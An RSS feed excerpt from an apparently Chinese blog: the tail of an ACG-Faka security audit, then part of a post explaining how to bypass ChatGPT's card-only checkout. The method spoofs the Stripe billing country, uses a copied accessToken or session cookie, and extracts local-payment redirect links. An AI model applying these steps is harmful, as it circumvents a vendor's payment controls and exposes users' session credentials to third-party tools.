&lt;p&gt;修复其实不复杂——删备份文件、加 Nginx deny 规则、换密钥，三步就能阻断整条链。但现实是，四个受审计的 ACG-Faka 站点连 &lt;code&gt;/app/&lt;/code&gt; 目录的 deny 规则都没有。&lt;/p&gt;
&lt;p&gt;安全不是只靠签名算法。&lt;strong&gt;签名验证是最后一道防线，不应该是唯一一道。&lt;/strong&gt; 纵深防御意味着即使签名被绕过，IP 白名单能兜底；即使白名单没配，源码和备份至少不应该暴露密钥。任何一层失守都不会导致全盘崩溃——这才是安全架构的正确姿势。&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;本文所有测试均在授权范围内进行，已获得站点所有者许可。文中不包含任何真实域名和凭据。&lt;/em&gt;&lt;/p&gt;</description></item><item><title>提链 — ChatGPT 跨区支付链接提取的完整技术拆解</title><link>https://blog.7qiang.com/posts/chatgpt-paylink-extraction-technical-guide/</link><pubDate>Sat, 01 Aug 2026 20:00:00 +0800</pubDate><guid>https://blog.7qiang.com/posts/chatgpt-paylink-extraction-technical-guide/</guid><description>&lt;img src="https://blog.7qiang.com/blog-cover-cyber-mask.gif" alt="Featured image of post 提链 — ChatGPT 跨区支付链接提取的完整技术拆解" /&gt;&lt;section class="xiaoyao-contact-card" aria-label="联系逍遥"&gt;
 &lt;img class="xiaoyao-contact-card__qr" src="https://blog.7qiang.com/contact-qr.png" width="690" height="690" loading="lazy" decoding="async" alt="逍遥微信二维码"&gt;
 &lt;div class="xiaoyao-contact-card__content"&gt;
 &lt;h3 class="xiaoyao-contact-card__title"&gt;联系逍遥&lt;/h3&gt;
 &lt;p class="xiaoyao-contact-card__description"&gt;扫码添加微信，或点击下方按钮复制联系方式。&lt;/p&gt;
 &lt;div class="xiaoyao-contact-buttons" data-contact-buttons&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--wechat" type="button" data-copy-contact="plus6566" data-copy-label="微信号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;微信&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;plus6566&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;button class="xiaoyao-contact-button xiaoyao-contact-button--qq" type="button" data-copy-contact="826215906" data-copy-label="QQ 号"&gt;
 &lt;span class="xiaoyao-contact-button__label"&gt;QQ&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__value"&gt;826215906&lt;/span&gt;
 &lt;span class="xiaoyao-contact-button__status" data-copy-status&gt;点击复制&lt;/span&gt;
 &lt;/button&gt;
 &lt;span class="xiaoyao-contact-feedback" role="status" aria-live="polite"&gt;&lt;/span&gt;
&lt;/div&gt;

 &lt;/div&gt;
&lt;/section&gt;

&lt;p&gt;进微信群请联系博主，各位觉得文章对你有帮助的话可否打赏一些呀~&lt;/p&gt;
&lt;hr&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;strong&gt;⚠️ 免责声明&lt;/strong&gt;：本文仅供安全研究与技术讨论。文中不提供可直接复用的攻击工具或完整利用脚本。本文目的是帮助开发者理解 Stripe 跨区支付的工作原理，以及为什么某些支付方式在不同区域可见性不同。提链工具不篡改金额、不注入优惠码，用户以正常价格通过本地支付方式完成订阅。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id="前言"&gt;前言
&lt;/h2&gt;&lt;p&gt;“提链&amp;quot;这个词，最近在各种 ChatGPT 合租群、代充群里频繁出现。&lt;/p&gt;
&lt;p&gt;什么意思呢？简单来说：&lt;strong&gt;把 ChatGPT 的信用卡结账页面，转换成一个本地支付方式（iDEAL / UPI / PIX / Kakao Pay / GCash…）的跳转链接。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你可能会问——OpenAI 不是只接受信用卡吗？&lt;/p&gt;
&lt;p&gt;准确地说，&lt;strong&gt;OpenAI 的前端只展示信用卡表单&lt;/strong&gt;。但后端用的是 Stripe，而 Stripe 在全球支持几十种本地支付方式。这些支付方式对应的国家、货币、支付类型都不同，OpenAI 在结账页面上做了筛选，只让你看到&amp;quot;信用卡 / 借记卡&amp;quot;一个选项。&lt;/p&gt;
&lt;p&gt;但 Stripe 的能力是在的。只要你能在创建 Checkout Session 时告诉 Stripe “我要用荷兰 iDEAL 支付”——Stripe 就会老老实实返回一个 iDEAL 的跳转链接。&lt;/p&gt;
&lt;p&gt;提链，就是&lt;strong&gt;从 Stripe 的 Checkout Session 里把这个跳转链接提出来&lt;/strong&gt;。&lt;/p&gt;
&lt;p&gt;上一篇文章我们拆了 &lt;a class="link" href="https://blog.7qiang.com/posts/chatgpt-plus-0php-cross-region-pricing-exploit-2026/" target="_blank" rel="noopener"
 &gt;0 PHP 白嫖 ChatGPT Plus&lt;/a&gt; 的跨区定价混淆攻击。那个是利用区域信号碎片化 + 工具注入参数让金额变成 0——纯粹的漏洞利用，现在大概率已经被修了。&lt;/p&gt;
&lt;p&gt;而提链不同。&lt;strong&gt;提链是正常的商业行为&lt;/strong&gt;——用户以当地正常价格、通过当地正常的支付方式付款。只不过 OpenAI 的 UI 不展示这些选项，你得自己绕过前端的限制，直接和 Stripe 对话。&lt;/p&gt;
&lt;p&gt;今天把它从协议层完整拆开。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="一为什么需要提链信用卡的困境"&gt;一、为什么需要提链——信用卡的困境
&lt;/h2&gt;&lt;p&gt;全球 80 亿人，有信用卡的不到 20 亿。&lt;/p&gt;
&lt;p&gt;印度人用 UPI，巴西人用 PIX，荷兰人用 iDEAL，韩国人用 Kakao Pay，越南人用 MoMo。这些不是什么小众支付方式——它们在各自国家的渗透率往往超过 70%。&lt;/p&gt;
&lt;p&gt;但 OpenAI 的结账页面只给你一个 Stripe Elements 信用卡表单：卡号、有效期、CVC。没有信用卡？不好意思。&lt;/p&gt;
&lt;p&gt;讽刺的是，Stripe 本身是支持这些本地支付方式的。OpenAI 创建 Checkout Session 时，就是通过 &lt;code&gt;billing_details.country&lt;/code&gt; 和 &lt;code&gt;billing_details.currency&lt;/code&gt; 来决定哪些支付方式可用。&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;国家&lt;/th&gt;
 &lt;th&gt;货币&lt;/th&gt;
 &lt;th&gt;可用支付方式&lt;/th&gt;
 &lt;th&gt;月费&lt;/th&gt;
 &lt;/tr&gt;
 &lt;/thead&gt;
 &lt;tbody&gt;
 &lt;tr&gt;
 &lt;td&gt;??🇱 荷兰&lt;/td&gt;
 &lt;td&gt;EUR&lt;/td&gt;
 &lt;td&gt;iDEAL&lt;/td&gt;
 &lt;td&gt;€20&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;🇮🇳 印度&lt;/td&gt;
 &lt;td&gt;INR&lt;/td&gt;
 &lt;td&gt;UPI&lt;/td&gt;
 &lt;td&gt;₹1,950&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;🇧🇷 巴西&lt;/td&gt;
 &lt;td&gt;BRL&lt;/td&gt;
 &lt;td&gt;PIX&lt;/td&gt;
 &lt;td&gt;R$99.90&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;??🇭 瑞士&lt;/td&gt;
 &lt;td&gt;CHF&lt;/td&gt;
 &lt;td&gt;TWINT&lt;/td&gt;
 &lt;td&gt;CHF 20&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;🇰🇷 韩国&lt;/td&gt;
 &lt;td&gt;KRW&lt;/td&gt;
 &lt;td&gt;Kakao Pay&lt;/td&gt;
 &lt;td&gt;₩26,400&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;🇵🇱 波兰&lt;/td&gt;
 &lt;td&gt;PLN&lt;/td&gt;
 &lt;td&gt;BLIK&lt;/td&gt;
 &lt;td&gt;zł79.99&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;🇻🇳 越南&lt;/td&gt;
 &lt;td&gt;VND&lt;/td&gt;
 &lt;td&gt;MoMo&lt;/td&gt;
 &lt;td&gt;₫460,000&lt;/td&gt;
 &lt;/tr&gt;
 &lt;tr&gt;
 &lt;td&gt;??🇭 菲律宾&lt;/td&gt;
 &lt;td&gt;PHP&lt;/td&gt;
 &lt;td&gt;GCash&lt;/td&gt;
 &lt;td&gt;₱990&lt;/td&gt;
 &lt;/tr&gt;
 &lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;这些价格不是我编的——它们真实存在于 Stripe 的 Checkout Session 响应里。OpenAI 按照区域设置了不同的定价，Stripe 负责处理。只是 OpenAI 的前端选择性地隐藏了这些支付方式。&lt;/p&gt;
&lt;p&gt;提链工具要做的，就是&lt;strong&gt;绕过前端的限制，以目标国家/货币创建 Checkout Session，然后从 Stripe 的 confirm 响应中提取第三方支付的跳转链接&lt;/strong&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="二提链的技术原理四步拆解"&gt;二、提链的技术原理——四步拆解
&lt;/h2&gt;&lt;h3 id="step-1获取-access-token"&gt;Step 1：获取 Access Token
&lt;/h3&gt;&lt;p&gt;登录 chatgpt.com，在浏览器中打开：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://chatgpt.com/api/auth/session
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;返回一个 JSON：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;user&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nt"&gt;&amp;#34;id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;user-xxx&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nt"&gt;&amp;#34;email&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;...&amp;#34;&lt;/span&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;accessToken&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;accessToken&lt;/code&gt; 是一个标准 JWT，有效期通常 5~10 分钟。它是后续所有 API 调用的认证凭据。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;提链工具同时也支持直接粘贴 &lt;code&gt;__Secure-next-auth.session-token&lt;/code&gt; cookie——这个 cookie 可以用来换取新的 access token。但最简单的方式还是直接复制上面的 JSON。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h3 id="step-2创建-checkout-session"&gt;Step 2：创建 Checkout Session
&lt;/h3&gt;&lt;p&gt;用 Access Token 调用 OpenAI 的 checkout API：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-http" data-lang="http"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;POST https://chatgpt.com/backend-api/payments/checkout
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;Authorization: Bearer eyJ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;entry_point&amp;#34;: &amp;#34;all_plans_pricing_modal&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;plan_name&amp;#34;: &amp;#34;chatgptplusplan&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;billing_details&amp;#34;: {
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;country&amp;#34;: &amp;#34;NL&amp;#34;,
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;currency&amp;#34;: &amp;#34;EUR&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt; &amp;#34;checkout_ui_mode&amp;#34;: &amp;#34;custom&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;关键参数是 &lt;code&gt;billing_details&lt;/code&gt; 里的 &lt;code&gt;country&lt;/code&gt; 和 &lt;code&gt;currency&lt;/code&gt;。这两个字段决定了 Stripe 在初始化支付页面时会提供哪些支付方式。传 &lt;code&gt;NL&lt;/code&gt; + &lt;code&gt;EUR&lt;/code&gt;，Stripe 就会在 &lt;code&gt;payment_method_types&lt;/code&gt; 里包含 &lt;code&gt;ideal&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;响应：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;checkout_session_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;oaics_xxxxxxxxxxxx&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;processor_entity&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;openai_llc&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;publishable_key&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;pk_live_xxxxxxxxxxxx&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;payment_method_types&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;card&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;ideal&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;oaics_&lt;/code&gt; 前缀是 OpenAI 定制的 Stripe Checkout Session ID 格式。&lt;/p&gt;
&lt;h3 id="step-3stripe-协议流程"&gt;Step 3：Stripe 协议流程
&lt;/h3&gt;&lt;p&gt;拿到 Checkout Session ID 后，需要完成一系列 Stripe API 调用。这是提链的核心技术含量所在——不是简单地 POST 一个接口就完事了。&lt;/p&gt;
&lt;p&gt;完整的协议流程有 12 步：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──────────────────────────┐
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 1. Session Refresh │ (用 cookie 换新的 AT)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 2. Create Checkout │ (拿 AT 创建 checkout session)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 3. Stripe Init │ (初始化支付页面状态)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 4. Update OAI Taxes │ (通知 OpenAI 更新税务)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 5. Stripe Tax Region │ (更新 Stripe 税务区域)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 6. Stripe Customer Data │ (更新客户信息)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 7. OAI Checkout Snapshot │ (保存 checkout 快照)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 8. Pre-Confirm │ (部分支付方式需要)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 9. Create Payment Method │ (创建 PM，类型=ideal/upi/pix...)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 10. Confirm │ (确认支付，触发重定向)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 11. Approve │ (如果需要额外批准)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;│ 12. Extract Redirect URL │ (从 confirm 响应中提取跳转链接)
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└──────────────────────────┘
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;每一步都有自己的参数格式和必要的状态管理。Stripe 的 Checkout Session 是有状态的——它跟踪你的 &lt;code&gt;eid&lt;/code&gt;（element ID）、&lt;code&gt;mrid&lt;/code&gt;（merchant reference ID）、&lt;code&gt;expected_amount&lt;/code&gt; 等等。如果你跳过了某一步或者参数不对，后续步骤就会报错。&lt;/p&gt;
&lt;h3 id="step-4提取支付链接"&gt;Step 4：提取支付链接
&lt;/h3&gt;&lt;p&gt;第 10 步 &lt;code&gt;Confirm&lt;/code&gt; 之后，如果支付方式是重定向类型（iDEAL、UPI、PIX 等都是），Stripe 会在响应中返回一个 &lt;code&gt;redirect_url&lt;/code&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;status&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;requires_action&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;next_action&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;type&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;redirect_to_url&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;redirect_to_url&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;url&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;https://hooks.stripe.com/redirect/authenticate/src_xxx?client_secret=...&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这个 URL 就是最终的支付链接。用户在浏览器中打开它，会被重定向到对应的支付方式页面（iDEAL 的银行选择页、UPI 的付款确认页、PIX 的二维码页面等）。完成支付后，Stripe webhook 通知 OpenAI，OpenAI 确认订阅生效。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;整个流程，金额由 Stripe 的价格表决定，提链工具不篡改任何金额字段。&lt;/strong&gt; 用户付的就是对应国家/地区的标准月费。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="三stripe-checkout-session-的内部结构"&gt;三、Stripe Checkout Session 的内部结构
&lt;/h2&gt;&lt;p&gt;拆开看，Stripe Checkout Session 里藏了不少有趣的东西。&lt;/p&gt;
&lt;p&gt;第 3 步 &lt;code&gt;Stripe Init&lt;/code&gt; 调用的是：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-http" data-lang="http"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="err"&gt;POST https://api.stripe.com/v1/payment_pages/{oaics_xxx}/init
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;响应中最关键的几个字段：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;payment_method_types&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;card&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;ideal&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;line_items&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;[{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;ChatGPT Plus subscription&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;amount&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;currency&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;eur&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}],&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;shipping_address_collection&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;payment_method_configuration&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;merchant_reference_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;mri_xxx&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;customer_session_client_secret&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;cuss_xxx&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;},&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nt"&gt;&amp;#34;session_id&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;oaics_xxx&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;payment_method_types&lt;/code&gt; 是关键——它决定了这个 Checkout Session 支持哪些支付方式。同一个接口，传不同的 &lt;code&gt;country&lt;/code&gt; / &lt;code&gt;currency&lt;/code&gt;，返回的 &lt;code&gt;payment_method_types&lt;/code&gt; 就不同。&lt;/p&gt;
&lt;p&gt;这也解释了为什么 OpenAI 前端只显示信用卡——它在创建 Checkout Session 时没有传目标国家的 &lt;code&gt;billing_details&lt;/code&gt;，或者传的是用户账号的注册国家（通常是 US），所以 Stripe 只返回 &lt;code&gt;[&amp;quot;card&amp;quot;]&lt;/code&gt;。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="四八种支付方式的技术对比"&gt;四、八种支付方式的技术对比
&lt;/h2&gt;&lt;p&gt;每种支付方式在 Stripe 层面的行为略有不同：&lt;/p&gt;
&lt;table&gt;
 &lt;thead&gt;
 &lt;tr&gt;
 &lt;th&gt;支付方式&lt;/th&gt;
 &lt;th&gt;PM Type&lt;/th&gt;
 &lt;th&gt;国家&lt;/th&gt;
 &lt;th&gt;货币&lt;/th&gt;
 &lt;th&gt;需要 pre_confirm&lt;/th&gt;
 &lt;th&gt;重定向类型&lt;/th&gt;
 &lt;th&gt;特殊处理&lt;/th&gt;
 &lt;/tr&gt;
